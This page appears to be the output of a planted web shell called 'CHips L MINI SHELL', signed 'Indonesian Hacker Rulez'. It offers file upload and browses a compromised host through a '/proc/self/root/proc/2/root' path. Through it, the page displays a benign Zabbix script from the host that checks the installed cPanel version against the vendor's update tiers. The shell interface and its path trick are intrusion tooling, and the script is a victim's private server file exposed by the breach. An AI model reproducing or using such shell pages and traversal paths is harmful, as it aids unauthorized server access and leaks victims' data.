CHips L MINI SHELL

CHips L pro

Current Path : /proc/self/root/proc/2/root/opt/zabbix_scripts/oldscripts/
Upload File :
Current File : //proc/self/root/proc/2/root/opt/zabbix_scripts/oldscripts/check_cpanel_version.sh

#!/bin/bash

STATE_OK=0
STATE_WARNING=1
STATE_CRITICAL=2
STATE_UNKNOWN=3

CUR_VERSION=$(cat /usr/local/cpanel/version)
TIERS=$(curl -s http://httpupdate.cpanel.net/cpanelsync/TIERS | grep -ve '^#' -e '^[0-9]' -e 'disabled' | awk -F: '{print $NF}' | sed -e 's/\.[0-9]*$//g' | sort | uniq)

VALUE=$((echo "${CUR_VERSION}" | grep -q "${TIERS}") || echo "Outdated version of cPanel detected")

if [ -z "${VALUE}" ]
then
	RET=${STATE_OK}
	DATA="OK: ${CUR_VERSION}"
else
	RET=${STATE_CRITICAL}
	DATA="CRITICAL: ${VALUE}|${CUR_VERSION}"
fi

echo "${DATA}"
exit ${RET}

Copyright 2K16 - 2K18 Indonesian Hacker Rulez